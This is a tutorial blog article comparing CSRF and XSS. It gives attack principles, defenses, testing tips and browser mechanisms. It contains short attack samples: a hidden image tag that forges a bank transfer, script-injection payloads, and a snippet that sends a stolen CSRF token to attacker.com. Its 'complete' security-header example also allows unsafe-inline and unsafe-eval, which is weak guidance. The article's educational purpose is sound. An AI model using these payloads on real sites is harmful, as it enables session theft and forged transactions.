阿里云主机折上折
  • 微信号
Current Site:Index > The difference between CSRF and XSS

The difference between CSRF and XSS

Author:Chuan Chen 阅读数:15200人阅读 分类: 前端安全

Basic Concepts of CSRF and XSS

CSRF (Cross-Site Request Forgery) and XSS (Cross-Site Scripting) are two common front-end security threats. CSRF exploits a user's logged-in identity to perform unintended actions without their knowledge, while XSS injects malicious scripts into web pages to steal user data or perform other malicious actions. Although both involve "cross-site" attacks, their attack methods and defense mechanisms are entirely different.

Attack Principles and Examples of CSRF

The core of a CSRF attack is tricking the user's browser into sending requests on their behalf. Attackers typically craft a malicious link or form, and when the user clicks or visits it, the browser automatically sends the request with the user's authentication information (e.g., cookies).

<!-- Malicious code on a malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

Assuming the user is logged into the bank's website, visiting a malicious page containing the above code will cause the browser to automatically send a transfer request. Since the request carries the user's session cookie, the server will treat it as a voluntary action by the user.

Attack Principles and Examples of XSS

XSS attacks are divided into three types: stored, reflected, and DOM-based. Their commonality lies in injecting malicious scripts into web pages, which are executed when other users visit.

Stored XSS example:

// Attacker inputs in a comment box
<script>stealCookie(document.cookie)</script>

Reflected XSS example:

// Attacker crafts a malicious link
https://example.com/search?q=<script>alert('XSS')</script>

DOM-based XSS example:

<script>
  // Retrieves parameters from the URL and directly inserts them into the DOM
  document.write('<div>' + location.hash.substring(1) + '</div>');
</script>

Differences in Attack Targets

CSRF primarily targets server-side operations, exploiting the user's trust in a specific website. It does not directly steal data but impersonates the user to perform actions such as changing passwords or transferring funds.

XSS, on the other hand, primarily targets the client side. Attackers execute malicious scripts in the victim's browser to:

  1. Steal cookies and session information
  2. Modify page content
  3. Redirect users to malicious websites
  4. Record keyboard inputs

Comparison of Defense Measures

CSRF Defense Methods

  1. CSRF Token: The server generates a random token and embeds it in forms, verifying the token when processing requests.
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_string">
  <!-- Other form fields -->
</form>
  1. SameSite Cookie Attribute: Set the SameSite attribute of cookies to Strict or Lax.
Set-Cookie: sessionid=xxxx; SameSite=Lax; Secure
  1. Verify Referer/Origin Headers: Check if the request source is legitimate.

XSS Defense Methods

  1. Input Filtering and Output Encoding:
// Use HTML entity encoding
function escapeHtml(text) {
  return text.replace(/&/g, "&amp;")
             .replace(/</g, "&lt;")
             .replace(/>/g, "&gt;")
             .replace(/"/g, "&quot;")
             .replace(/'/g, "&#039;");
}
  1. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. Use Secure DOM APIs:
// Insecure
element.innerHTML = userInput;

// Secure
element.textContent = userInput;

Real-World Case Studies

In 2018, a social media platform experienced a CSRF vulnerability where attackers crafted special links that, when clicked, automatically followed specific accounts. The vulnerability arose because the follow action relied solely on session cookie authentication without CSRF token protection.

The same year, an e-commerce platform suffered a stored XSS attack. Attackers injected malicious scripts into product reviews, stealing payment information from numerous users. The issue stemmed from insufficient filtering and encoding of user input.

Potential for Combined Attacks

CSRF and XSS can sometimes be combined to form more complex attacks. For example, an attacker might first obtain a CSRF token via XSS and then use that token to launch a CSRF attack. Such combined attacks are harder to defend against and require protection against both vulnerabilities.

// Steal CSRF token via XSS
var token = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + token);

Protection in Modern Front-End Frameworks

Modern front-end frameworks like React, Vue, and Angular offer built-in protections:

  1. React automatically escapes variables in JSX.
// Safe, userInput is escaped
<div>{userInput}</div>
  1. Vue's v-bind and double curly brace syntax also auto-escape.
<!-- Safe -->
<p>{{ userInput }}</p>

However, developers must still be cautious of:

  • Risks when using dangerouslySetInnerHTML (React) or v-html (Vue)
  • XSS caused by dynamically generated URLs and styles

Testing and Verification Methods

Detecting CSRF vulnerabilities:

  1. Check if critical operations lack CSRF tokens.
  2. Verify SameSite cookie settings.
  3. Attempt to replay requests using tools like Burp Suite.

Detecting XSS vulnerabilities:

  1. Test all user input points with basic XSS payloads.
<script>alert(1)</script>
  1. Use automated tools like OWASP ZAP or XSS Hunter.
  2. Check if CSP implementation is complete.

Best Practices in Development

For CSRF:

  • Add CSRF protection to all state-modifying requests.
  • Avoid using GET requests for state modifications.
  • Implement dual authentication mechanisms.

For XSS:

  • Apply context-specific encoding to all dynamic content.
  • Enforce strict CSP policies.
  • Regularly update dependencies to fix known vulnerabilities.
  • Use template engines instead of string concatenation for HTML construction.

Related Security Header Configurations

Example of a complete HTTP security header configuration:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'

Common Misconceptions and Clarifications

  1. "Using HTTPS means it's secure": HTTPS only ensures transmission security and does not prevent CSRF or XSS.
  2. "Framework auto-protection is sufficient": Frameworks provide basic protection, but developers must still address edge cases.
  3. "Input filtering is enough": Must be combined with output encoding and context-aware sanitization.
  4. "CSRF only affects form submissions": Any state-modifying request can be affected, including API calls.

Evolution of Browser Security Mechanisms

Modern browsers continuously introduce new features to enhance protection:

  1. SameSite Cookie: Chrome 80+ defaults cookies to Lax.
  2. Trusted Types API: Restricts the use of dangerous DOM APIs.
// Enable Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
  1. Sanitizer API: Provides built-in HTML sanitization.
const sanitizer = new Sanitizer();
element.setHTML(userInput, { sanitizer });

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.